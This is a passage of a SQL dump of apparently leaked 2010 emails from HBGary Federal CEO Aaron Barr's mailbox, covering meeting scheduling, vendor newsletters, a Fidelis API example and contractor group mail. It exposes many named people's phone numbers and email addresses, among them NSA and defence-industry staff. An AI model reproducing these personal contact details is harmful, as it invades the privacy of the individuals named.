CYBERCOM.  Maybe I\'ll actually have some information worth sharing.\r\n>> Cassie, will you please see if we can schedule a get together?\r\n>> \r\n>> Tom\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, June 16, 2010 9:20 AM\r\n>> To: Conroy, Thomas W.\r\n>> Subject: Information\r\n>> \r\n>> Hi Tom,\r\n>> \r\n>> I hope all is well.  I had dinner with Kathy and a bunch of other\r\n> cyber\r\n>> folks last night as part of the  cyber group chaired by Bill Varner.\r\n> I\r\n>> was a bit of an odd ball in that I don\'t own significant cyber\r\n> business\r\n>> but hope to be able to contribute in other ways.\r\n>> \r\n>> Anyway, last time we met you mentioned there was someone you thought I\r\n>> should meet, but requested some information.  Attached is our data\r\n> sheet\r\n>> for our offerings in information security services as well as a link\r\n> to\r\n>> my professional profile and a recent interview.\r\n>> \r\n>> Maybe we can get together for lunch again in early July if your\r\n> around?\r\n>> I would love to get your thoughts on cyber command and the\r\n> sluggishness\r\n>> that continues around cyber.\r\n>> \r\n>> http://www.linkedin.com/in/aaronbarr3\r\n>> \r\n>> \r\n> http://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security\r\n>> -is-a-hunt-an-investigation-it\'s-a-challenge/\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5214,'aaron_hbgary_com/5214.html'),(7621,'2010-06-22','\"The Splunk Team\" <newsletter@splunk.com>','/aaron@hbgary.com/new/1297005754.M295098P14101Q2476.eml','aaron@hbgary.com','Want to attend Splunk\'s Users\' Conference? Register by this Friday to save $100','\r\n\r\n \r\n    \r\n   Splunk \r\n    \r\n      body {\r\n      	background-color: #EEEEEE;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      p a {\r\n      	color: #2982A7;\r\n      	text-decoration: none;\r\n      }\r\n      td.permission {\r\n      	padding: 8px 0 8px 0;\r\n      }\r\n      td.date {\r\n      	padding: 0 0 4px 0;\r\n      }\r\n      td.permission p {\r\n      	font-family: Arial;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	font-style: italic;\r\n      	color: #151515;\r\n      	text-align: center;\r\n      }\r\n      td.permission a {\r\n      	color: #9f9862;\r\n      	text-decoration: none;\r\n      }\r\n    \r\n      table.bg {\r\n      	background-color: #ffffff;\r\n      }\r\n      table.intro td {\r\n      	height: 10px;\r\n      	border-bottom: 1px solid #eeeeee;\r\n      }\r\n      \r\n       table.header td {\r\n      	height: 10px;\r\n      	border-bottom: 1px solid #d5e0e1;\r\n      	border-top: 10px solid #111;\r\n      }\r\n      \r\n      table.header td p.big {\r\n      font-family:arial;\r\n      font-size:24px;\r\n      font-weight:normal;\r\n      font-style: normal;\r\n      padding:0 115px 0 15px;\r\n      margin-top: 0px;\r\n      }\r\n      \r\n      \r\n      \r\n      table.intro td p {\r\n      	font-family: Arial, Helvetica, sans-serif;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555555;\r\n      	padding:0 15px 0 15px;\r\n      }\r\n   \r\n      table.header td h1 {\r\n      	font-family: \'Futura\', Arial;\r\n      	font-size: 24px;\r\n      	font-weight: normal;\r\n      	color: #9f9862;\r\n      	display: inline;\r\n      	margin: 0 0 0 6px;\r\n      	padding: 0;\r\n      	text-transform: uppercase;\r\n      }\r\n      \r\n      table.header td h2 {\r\n		font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 28px;\r\n      	font-weight: normal;\r\n      	color: #111111;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0 0 0 15px;\r\n      	}\r\n      	 table.intro td h2 {\r\n		font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 28px;\r\n      	font-weight: normal;\r\n      	color: #111111;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0 0 0 15px;\r\n      	}\r\n      table.header td h3 {\r\n      	font-family: Arial, Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	font-style: italic;\r\n      	color: #ffffff;\r\n      	display: inline;\r\n      	margin: 0;\r\n      	padding: 0 0 6px 0;\r\n      }\r\n      td.sidebar {\r\n      	background-color: #fff;\r\n      	padding-top:10px;\r\n      }\r\n      td.sidebar h2 {\r\n      	font-family: Arial;\r\n      	font-size: 16px;\r\n      	font-weight: normal;\r\n      	color: #464646;\r\n      	margin: 0 0 10px 0;\r\n      	border-bottom: 1px solid #CCC;\r\n      	text-transform: uppercase;\r\n      }\r\n      td.sidebar ul {\r\n      	margin: 0 0 20px 24px;\r\n      	padding: 0;\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #313131;\r\n      }\r\n      td.sidebar ul a {\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #085982;\r\n      	text-decoration: none;\r\n      }\r\n      td.sidebar p {\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555;\r\n      	margin: 0 0 14px 0;\r\n      	padding: 0;\r\n      }\r\n      td.sidespace {\r\n         padding: 20px;\r\n      }\r\n      table.options {\r\n      	border-top: 1px solid #9f9862;\r\n      	border-bottom: 1px solid #9f9862;\r\n      }\r\n      table.options td {\r\n      	padding: 16px 22px 16px 22px;\r\n      }\r\n      td.border {\r\n      	border-bottom: 1px solid #9f9862;\r\n      }\r\n      table.options h3 {\r\n      	font-family: Arial;\r\n      	font-size: 16px;\r\n      	font-weight: normal;\r\n      	color: #9f9862;\r\n      	margin: 0 0 4px 0;\r\n      	padding: 0;\r\n      }\r\n      table.options p {\r\n      	font-family: Arial;\r\n      	font-size: 13px;\r\n      	font-weight: normal;\r\n      	color: #313131;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      table.options p a {\r\n      	color: #313131;\r\n      	text-decoration: none;\r\n      	border: none;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar {\r\n         padding: 20px;\r\n      }\r\n      td.mainbar h2 {\r\n      	font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 24px;\r\n      	font-weight: normal;\r\n      	color: #090909;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar h2 a {\r\n      	font-family: Arial;\r\n      	font-size: 20px;\r\n      	font-weight: bold;\r\n      	color: #9f9862;\r\n         text-decoration: none;\r\n      }\r\n      td.mainbar h3 {\r\n      	font-family: Verdana;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	color: #333333;\r\n      	text-transform: uppercase;\r\n      	margin: 0 0 8px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar p {\r\n      	font-family: Arial, Helvetica, sans-serif;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555555;\r\n      	margin: 0 0 16px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar p.top {\r\n      	font-family: Verdana;\r\n      	font-size: 10px;\r\n      	font-weight: normal;\r\n      	color: #44a0df;\r\n      	text-transform: uppercase;\r\n      	width: 100%;\r\n      	text-align: right;\r\n      	margin: 14px 0 4px 0;\r\n      	border-top: 1px solid #CCCCCC;\r\n      }\r\n      table.footer {\r\n      	font-family: Arial;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	color: #090909;\r\n      	text-align: center;\r\n      }\r\n      table.footer td {\r\n      	height: 88px;\r\n      }\r\n      table.footer span {\r\n      	color: #ffffff;\r\n      }\r\n      table.bgBottom {\r\n         padding: 10px;\r\n      	background-color: #EEE;\r\n      }\r\n    \r\n \r\n\r\n\r\n\r\n\r\nIf you&nbsp;have trouble viewing this email, read the online version. \r\n \r\n \r\n \r\n \r\n   \r\n     \r\n       \r\n         \r\n          \r\n          \r\n        \r\n      \r\n      \r\n \r\n \r\n   \r\n     \r\n      You&rsquo;re not registered for Splunk&rsquo;s Users&rsquo; Conference yet.  Why not? \r\nAugust 9-11, 2010\r\n		\r\n    \r\n   \r\n \r\n                  \r\n \r\n   \r\n     \r\n       \r\n         \r\n           \r\n             Dear Aaron,            \r\n            We&rsquo;ve told you why your company should want you there &hellip; and why your boss would want you there.\r\nBut maybe we haven&rsquo;t reminded you why you want to be there.\r\nHere&rsquo;s a Top 5:\r\n\r\n            \r\n              Learn how to make cool apps to visualize data from any available data set like this one we made from Twitter streams about the World Cup.\r\n              Meet the Splunkers who build the cool visualizations and the product you love to use. Ask them how they do it. Tell them what you want to see next.\r\n              Meet the rockstars of IT from Splunk Answers and the IRC channel&ndash;pheezy, amrit, deep, djpiebob, pde, shaggy and more. They\'re even teaching sessions. \r\n              Splunk can help your career. There\'s an uptick in the number of job descriptions requiring Splunk experience. And for your current organization we\'ll help you put together reports and dashboards your management team wants to see. (Just ask VeriSign and Autodesk—full session list here.)\r\n              And the number 1 reason to join us for the Splunk Users&rsquo; Conference &hellip;\r\n              \r\n              Remember the ice cream truck when you were a kid? Well, we&rsquo;ll have a beer truck. And a crème brulee cart if dessert&rsquo;s more your thing.\r\n            \r\n           \r\n            You ready? Now get approval&ndash;these docs will help.\r\n             Register before June 25 to save $100!\r\nSee you in August!\r\n \r\n           The Splunk Team\r\n		    \r\n          \r\n        \r\n      \r\n    \r\n    \r\n                 \r\n       \r\n          \r\n  		   What?\r\n  		    \r\n             The First Splunk Worldwide Users&rsquo; Conference\r\n           When?\r\n            \r\n             August 9-11, 2010\r\n              \r\n           Where?\r\n            \r\n             The Palace Hotel\r\n2 New Montgomery Street\r\nSan Francisco, CA 94105\r\n              \r\n           Why?\r\n            \r\n                  Still want more, check out the session lineup.  \r\n           How?\r\n            \r\n             Register Now\r\n                                      \r\n            \r\n          \r\n       \r\n         \r\n         \r\n       \r\n    \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\nTo unsubscribe from future emails or to update your e-mail preferences click here. To forward this email to a friend, click here. Splunk, Inc. | 250 Brannan St. | San Francisco, CA 94107\r\n\r\n\r\n',12980,'aaron_hbgary_com/12980.html'),(7622,'2010-06-22','\"Paul Nemirovsky\" <pauln@jdn-int.com>','/aaron@hbgary.com/new/1297005754.M555282P14101Q2477.eml','\"Aaron Barr\" <aaron@hbgary.com>','Great meeting you and info about John','Aaron,\r\n&nbsp;\r\n&nbsp;\r\nIt was great meeting you.&nbsp; Let\'s stay connected.&nbsp; John\'s email - john.gorman@ngc.com\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n___________________________________________________________\r\n&nbsp;',9919,'aaron_hbgary_com/9919.html'),(7623,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005754.M814091P14101Q2478.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Information','J Gilberts sounds great.  Perfect location.\r\nAaron\r\n\r\nOn Tuesday, June 22, 2010, Robinson, Cassie  wrote:\r\n> How about Olive Garden or J Gilberts?\r\n>\r\n> csr\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, June 22, 2010 10:27 AM\r\n> To: Robinson, Cassie\r\n> Subject: Re: Information\r\n>\r\n> I have a 2pm meeting in Tysons, so anywhere between Rosslyn and Tysons works\r\n> for me.  I know some good places, but want to be convenient to Tom\'s\r\n> schedule.  There are some good places on Wilson going into Arlington.\r\n> Lebanese Taverna in Tysons II is always good.  I am flexible.\r\n>\r\n> Aaron\r\n>\r\n> On Jun 21, 2010, at 8:48 AM, Robinson, Cassie wrote:\r\n>\r\n>> Aaron\r\n>> Where would you like to meet?\r\n>>\r\n>> csr\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Friday, June 18, 2010 9:25 AM\r\n>> To: Robinson, Cassie\r\n>> Subject: Re: Information\r\n>>\r\n>> I didn\'t answer this.  How about the 7th.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>>\r\n>> On Jun 16, 2010, at 11:23 AM, \"Robinson, Cassie\"\r\n>>  wrote:\r\n>>\r\n>>> Hey Aaron -- Early July dates that work for lunch with Tom\r\n>>>\r\n>>> 7 Jul\r\n>>> 9 Jul\r\n>>> 15 Jul\r\n>>> 16 Jul\r\n>>>\r\n>>> Do any of those dates work for you?\r\n>>>\r\n>>> Thanks much\r\n>>>\r\n>>> csr\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Conroy, Thomas W.\r\n>>> Sent: Wednesday, June 16, 2010 11:16 AM\r\n>>> To: \'Aaron Barr\'\r\n>>> Cc: Robinson, Cassie\r\n>>> Subject: RE: Information\r\n>>>\r\n>>> Sounds like a good idea Aaron.  It\'s been too long.  Hope you\'re doing\r\n>>> well and business is picking up.  Any word on that DARPA contract you\r\n>>> were seeking?\r\n>>> Sluggish is a good characterization.  It\'s very puzzling to me.  I\'m\r\n>>> going out to NSA later this week to meet with a friend who is working\r\n>> in\r\n>>> CYBERCOM.  Maybe I\'ll actually have some information worth sharing.\r\n>>> Cassie, will you please see if we can schedule a get together?\r\n>>>\r\n>>> Tom\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Wednesday, June 16, 2010 9:20 AM\r\n>>> To: Conroy, Thomas W.\r\n>>> Subject: Information\r\n>>>\r\n>>> Hi Tom,\r\n>>>\r\n>>> I hope all is well.  I had dinner with Kathy and a bunch of other\r\n>> cyber\r\n>>> folks last night as part of the  cyber group chaired by Bill Varner.\r\n>> I\r\n>>> was a bit of an odd ball in that I don\'t own significant cyber\r\n>> business\r\n>>> but hope to be able to contribute in other ways.\r\n>>>\r\n>>> Anyway, last time we met you mentioned there was someone you thought I\r\n>>> should meet, but requested some information.  Attached is our data\r\n>> sheet\r\n>>> for our offerings in information security services as well as a link\r\n>> to\r\n>>> my professional profile and a recent interview.\r\n>>>\r\n>>> Maybe we can get together for lunch again in early July if your\r\n>> around?\r\n>>> I would love to get your thoughts on cyber command and the\r\n>> sluggishness\r\n>>> that continues around cyber.\r\n>>>\r\n>>> http://www.linkedin.com/in/aaronbarr3\r\n>>>\r\n>>>\r\n>> http://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security\r\n>>> -is-a-hunt-an-investigation-it\'s-a-challenge/\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n\r\n-- \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n',3401,'aaron_hbgary_com/3401.html'),(7624,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005775.M744083P14101Q2479.eml','pauln@jdn-int.com','Re: Great meeting you and info about John','Same here.\r\n\r\nAttached is the New Media presentation I mentioned.  It seemed to have gone over really well.\r\n\r\nAs to what groups/conferences.  I would become a member of AFCEA to start.  They have monthly meetings as well as occasional security conferences that are pretty good.  I will think of a few others.\r\n\r\nI reached out to John on Linkedin, thank you for the email.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jun 22, 2010, at 1:14 PM, Paul Nemirovsky wrote:\r\n\r\n> \r\n> Aaron,\r\n>  \r\n>  \r\n> It was great meeting you.  Let\'s stay connected.  John\'s email - john.gorman@ngc.com\r\n>  \r\n> Regards,\r\n>  \r\n>  \r\n> Paul\r\n>  \r\n>  \r\n> \r\n>  \r\n> ___________________________________________________________\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',460,'aaron_hbgary_com/460.html'),(7625,'2010-06-22','\"Sinclair, Adrian W.\" <awsincl@missi.ncsc.mil>','/aaron@hbgary.com/new/1297005779.M263581P14101Q2481.eml','aaron@hbgary.com','contact','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nArron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;m following up on our brief chat after your\r\npresentation last week at the ReBl Symposium. We only had a moment to discuss some\r\nof the implications and the direction where the problem of social networking\r\nexploitation is going to take us in the near future where proliferation of geo-location\r\nbased SN services will be dominant. If you have a moment I&#8217;d like to\r\nspeak with you a little bit more on the topic. \r\n\r\n&nbsp;\r\n\r\nPlease let me know if you&#8217;re interested and when is\r\nthe best time to reach you.\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nAdrian\r\nSinclair, CISM\r\n\r\nNSA\r\nSpecial Programs Office\r\n\r\nInformation\r\nAssurance Directorate\r\n\r\nOffice\r\nTel: (410) 854-9124\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16741,'aaron_hbgary_com/16741.html'),(7626,'2010-06-22','\"Harvey, Kevin\" <kevin.harvey@fidelissecurity.com>','/aaron@hbgary.com/new/1297005779.M498037P14101Q2482.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','RE: API','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Ted,\r\n\r\n&nbsp;\r\n\r\nJust following up from our recent\r\ngotomeeting &#8220;Fidelis Demo &amp; Training.&#8221; &nbsp;&nbsp;How is your\r\ninstall and integration work going?&nbsp; Let me know if I can provide any\r\nassistance.\r\n\r\n&nbsp;\r\n\r\nKevin\r\nHarvey&nbsp;| Senior Sales Engineer| Fidelis Security Systems, Inc.\r\n(615) 538-8007 |&nbsp;kevin.harvey@fidelissecurity.com\r\n| www.fidelissecurity.com\r\n\r\nFidelis\'\r\nDeep-Session Inspection Engine&#8482; --check out the videos of what it can do\r\nat http://www.youtube.com/fidsecsys.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Harvey, Kevin \r\nSent: Friday, June 11, 2010 3:14\r\nPM\r\nTo: Ted Vera\r\nCc: Mark Trynor\r\nSubject: API\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAPI guide. And an example.&nbsp; Hope the call today was\r\nhelpful to get you started. &nbsp;I look forward to what you are working\r\non!&nbsp; Sounds cool.\r\n\r\n&nbsp;\r\n\r\nKevin Harvey\r\n\r\n&nbsp;\r\n\r\n\r\nUse\r\n/FSS/html/query/tcpses_getdpath.cgi\r\n--user=&lt;user&gt; --pass=&lt;password&gt; --alert_id=2248\r\n\r\nThe output should look something like...\r\n---------------------\r\nStatus: 200 OK\r\nContent-type: text/tab-separated-values\r\nContent-disposition:\r\nfilename=&quot;tcpses_getdpath.tsv&quot;\r\nx-rows: 1\r\n\r\nDecoding Path\r\n:SMTP[1]:mime:multipart[3]:mime(aal%2520DBA%2520contract%2520for%2520DCPS.doc):base64:ms-word\r\n----------------------\r\n\r\nNext, call\r\n/FSS/html/query/tcpses_getfile.cgi\r\n--user=&lt;user&gt; --pass=&lt;password&gt; --alert_id=2248\r\n--params=&quot;:SMTP[1]:mime&quot;\r\n\r\nthat should be mime output. looks like there is\r\nanother part, for the attachement at...\r\n\r\n/FSS/html/query/tcpses_getfile.cgi\r\n--user=&lt;user&gt; --pass=&lt;password&gt; --alert_id=2248\r\n--params=&quot;:SMTP[1]:mime:multipart[3]:mime(aal%2520DBA%2520contract%2520for%2520DCPS.doc)&quot;\r\n\r\n\r\nBasically, use as much of the path as you need.\r\nJust start from the beginning. Here\'s the list of valid paths in this\r\nexample...\r\n1)\r\n:SMTP[1]:mime:multipart[3]:mime(aal%2520DBA%2520contract%2520for%2520DCPS.doc):base64:ms-word\r\n2) :SMTP[1]:mime:multipart[3]:mime(aal%2520DBA%2520contract%2520for%2520DCPS.doc):base64\r\n3)\r\n:SMTP[1]:mime:multipart[3]:mime(aal%2520DBA%2520contract%2520for%2520DCPS.doc)\r\n4) :SMTP[1]:mime:multipart[3]\r\n5) :SMTP[1]:mime\r\n6) :SMTP[1]\r\n\r\n&nbsp;\r\n\r\nKevin\r\nHarvey&nbsp;| Senior Sales Engineer| Fidelis Security Systems, Inc.\r\n(615) 538-8007 |&nbsp;kevin.harvey@fidelissecurity.com\r\n| www.fidelissecurity.com\r\n\r\nFidelis\'\r\nDeep-Session Inspection Engine&#8482; --check out the videos of what it can do\r\nat http://www.youtube.com/fidsecsys.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11230,'aaron_hbgary_com/11230.html'),(7627,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005779.M5202P14101Q2480.eml','\"David Gerulski\" <dgerulski@endgames.us>','Re: HBGary Contract Discussion','Hi David,\r\n\r\nAny chance we can move the meeting to 3pm?  I had a 1pm meeting that popped up, so it will be cutting it close.\r\n\r\nBTW, I will be meeting with the Red Team and Blue Team of INSCOM on Friday to discuss our offering for incident response, as well as other things.\r\n\r\nAaron\r\n\r\nOn Jun 22, 2010, at 10:30 AM, David Gerulski wrote:\r\n\r\n> When: Wednesday, June 23, 2010 2:00 PM-3:00 PM. Eastern Standard Time\r\n> \r\n> *~*~*~*~*~*~*~*~*~*\r\n> \r\n> Engame will call Aaron\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1743,'aaron_hbgary_com/1743.html'),(7628,'2010-06-22','\"wcooper\" <wcooper@cisco.com>','/aaron@hbgary.com/new/1297005779.M746115P14101Q2483.eml','alexander.miller@l-3com.com,Bill.Varner@ManTech.com,lance.cottrell@abraxascorp.com,\"Bill Phelps\" <bill.phelps@accenture.com>,skip.foote@americansystems.com,roger_anderson@appsig.com,john.osterholz@baesystems.com,barbara.g.fast@boeing.com,zazmi@caci.com,svisner@csc.com,david_joslin@federal.dell.com,\"J.R. Reagan\" <jreagan@deloitte.com>,nadia.short@gd-ais.com,jkoenig@harris.com,aaron@hbgary.com,samuel.chun@hp.com,ccpalmer@us.ibm.com,jwatters@isightpartners.com,rdix@juniper.net,dusty.wince@knowledgecg.com,scottmil@microsoft.com,gjg@mitre.org,rodney.joffe@neustar.biz,Kathy.Warden@ngc.com,ed.gibson@us.pwc.com,shawn.carroll@qwest.com,steve_k_hawkins@raytheon.com,bmalexia@rockwellcollins.com,coxld@saic.com,pat.burke@sra.com,kenneth.sannicolas@stanleyassociates.com,tiffany_jones@symantec.com,alexander.miller@l-3com.com,Bill.Varner@ManTech.com,lance.cottrell@abraxascorp.com','Re: 4X24 Cyber Group - IP discussion','\r\n\r\nRe: 4X24 Cyber Group - IP discussion\r\n\r\n\r\nAll, \r\n\r\nI am passing this along as a follow-up to our dinner discussions surrounding IP. &nbsp;Victoria Espinel, US IP Enforcement Coordinator, released the Administration&#8217;s first Joint Strategic Plan to combat IP Theft. &nbsp;Two Cisco examples were referenced as DOJ high-profile IP cases. &nbsp;Secure supply chains and not purchasing infringing products make the focus list.\r\n&nbsp;\r\nBest Regards,\r\nBill\r\n\r\nBill Cooper\r\nDirector, Cyber Programs, Federal SPO\r\nCisco Systems, Inc.\r\n\r\nCell: 301-325-7456\r\nEmail: wcooper@cisco.com\r\n \r\nhttp://www.whitehouse.gov/blog/2010/06/22/releasing-joint-strategic-plan-combat-intellectual-property-theft\r\n \r\n&nbsp;\r\n \r\n&#8220;Through this process, we identified a number of actions the Federal government will take to enhance the protection of American intellectual property rights: \r\n\r\n1. We will lead by example and will work to ensure that the Federal government does not purchase or use infringing products.\r\n\r\n2. We will support transparency in the development of enforcement policy, information sharing and reporting of law enforcement activities at home and abroad.\r\n\r\n3. We will improve coordination and thereby increase the efficiency and effectiveness of law enforcement efforts at the Federal, state and local level, of personnel stationed overseas and of the U.S. Government&#8217;s international training efforts.\r\n\r\n4. We will work with our trading partners and with international organizations to better enforce American intellectual property rights in the global economy.\r\n\r\n5. We will secure supply chains to stem the flow of infringing products at our borders and through enhanced cooperation with the private sector.\r\n\r\n6. We will improve data and information collection from intellectual property-related activity and continuously assess domestic and foreign laws and enforcement activities to maintain an open, fair and balanced environment for American intellectual property rightholders.&#8221;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5144,'aaron_hbgary_com/5144.html'),(7629,'2010-06-22','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297005817.M986386P14101Q2484.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SecDev - Meeting in Washington area - June 23 (Wednesday)','Hi Aaron,\r\n\r\nJust wanted to followup regarding the reseller agreement - I have had it signed by Rafal and scanned - attached is a scanned copy. I will bring the original copy for your signature tomorrow when we meet.\r\n\r\nBest,\r\nArnav\r\n\r\n\r\n\r\n\r\nOn 2010-06-21, at 9:59 PM, Aaron Barr wrote:\r\n\r\n> I am going to be coming from Chantilly so let\'s not head up to Bethesda and deal with traffic.  I will get us an office in Tysons Corner.  Sound Good?  I will send an address tomorrow.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jun 21, 2010, at 10:40 AM, Arnav Manchanda  wrote:\r\n> \r\n>> We can come down to Bethesda. We have a meeting in McLean at 11am, so I was planning we would end after 12pm and then head over to your place. Do you think that\'s best, given traffic on a Wednesday?\r\n>> \r\n>> Arnav Manchanda\r\n>> Business Capture & Analytics\r\n>> \r\n>> The SecDev Group\r\n>> complexity.engaged\r\n>> \r\n>> World Exchange Plaza\r\n>> 45 O\'Connor Street, Suite 1150\r\n>> Ottawa, Ontario K1P 1A4\r\n>> Office: +1 (613) 755-4007\r\n>> Cell:  +1 (613) 806-4081\r\n>> E-mail: a.manchanda@secdev.ca \r\n>> \r\n>> \r\n>> \r\n>> This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\n>> \r\n>> \r\n>> \r\n>> Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n>> \r\n>> \r\n>> \r\n>> On 2010-06-21, at 10:34 AM, Aaron Barr wrote:\r\n>> \r\n>>> That should work fine.  Where would you like to meet?\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> On Jun 21, 2010, at 10:31 AM, Arnav Manchanda wrote:\r\n>>> \r\n>>>> Hi Aaron,\r\n>>>> \r\n>>>> How does 1pm sound, or shortly after?\r\n>>>> \r\n>>>> Best,\r\n>>>> Arnav\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> On 2010-06-21, at 10:27 AM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> Sorry I meant Wednesday.\r\n>>>>> \r\n>>>>> On Jun 18, 2010, at 1:46 PM, Arnav Manchanda wrote:\r\n>>>>> \r\n>>>>>> Hi Aaron,\r\n>>>>>> \r\n>>>>>> That will work, most likely early afternoon. I\'ll confirm ASAP with a time that works best, since I have to check the travelling around part :)\r\n>>>>>> \r\n>>>>>> Best,\r\n>>>>>> Arnav\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> Arnav Manchanda\r\n>>>>>> Business Capture & Analytics\r\n>>>>>> \r\n>>>>>> The SecDev Group\r\n>>>>>> complexity.engaged\r\n>>>>>> \r\n>>>>>> World Exchange Plaza\r\n>>>>>> 45 O\'Connor Street, Suite 1150\r\n>>>>>> Ottawa, Ontario K1P 1A4\r\n>>>>>> Office: +1 (613) 755-4007\r\n>>>>>> Cell:  +1 (613) 806-4081\r\n>>>>>> E-mail: a.manchanda@secdev.ca \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> On 2010-06-18, at 6:54 AM, Aaron Barr wrote:\r\n>>>>>> \r\n>>>>>>> Hi Arnav,\r\n>>>>>>> \r\n>>>>>>> Sounds great.  I have a meeting in Chantilly from 10-11, so how about the afternoon?\r\n>>>>>>> \r\n>>>>>>> Aaron\r\n>>>>>>> \r\n>>>>>>> Sent from my iPad\r\n>>>>>>> \r\n>>>>>>> On Jun 17, 2010, at 10:47 PM, Arnav Manchanda  wrote:\r\n>>>>>>> \r\n>>>>>>>> Dear Aaron,\r\n>>>>>>>> \r\n>>>>>>>> I hope all is well with you and the team at HBGary. Rafal and I were hoping to make it down to Washington next week, Wednesday June 23, and to meet with you and your colleagues. Would you be available that day, and if so at what times?\r\n>>>>>>>> \r\n>>>>>>>> Best wishes,\r\n>>>>>>>> Arnav\r\n>>>>>>>> \r\n>>>>>>>> Arnav Manchanda\r\n>>>>>>>> Business Capture & Analytics\r\n>>>>>>>> \r\n>>>>>>>> The SecDev Group\r\n>>>>>>>> complexity.engaged\r\n>>>>>>>> \r\n>>>>>>>> World Exchange Plaza\r\n>>>>>>>> 45 O\'Connor Street, Suite 1150\r\n>>>>>>>> Ottawa, Ontario K1P 1A4\r\n>>>>>>>> Office: +1 (613) 755-4007\r\n>>>>>>>> Cell:  +1 (613) 806-4081\r\n>>>>>>>> E-mail: a.manchanda@secdev.ca 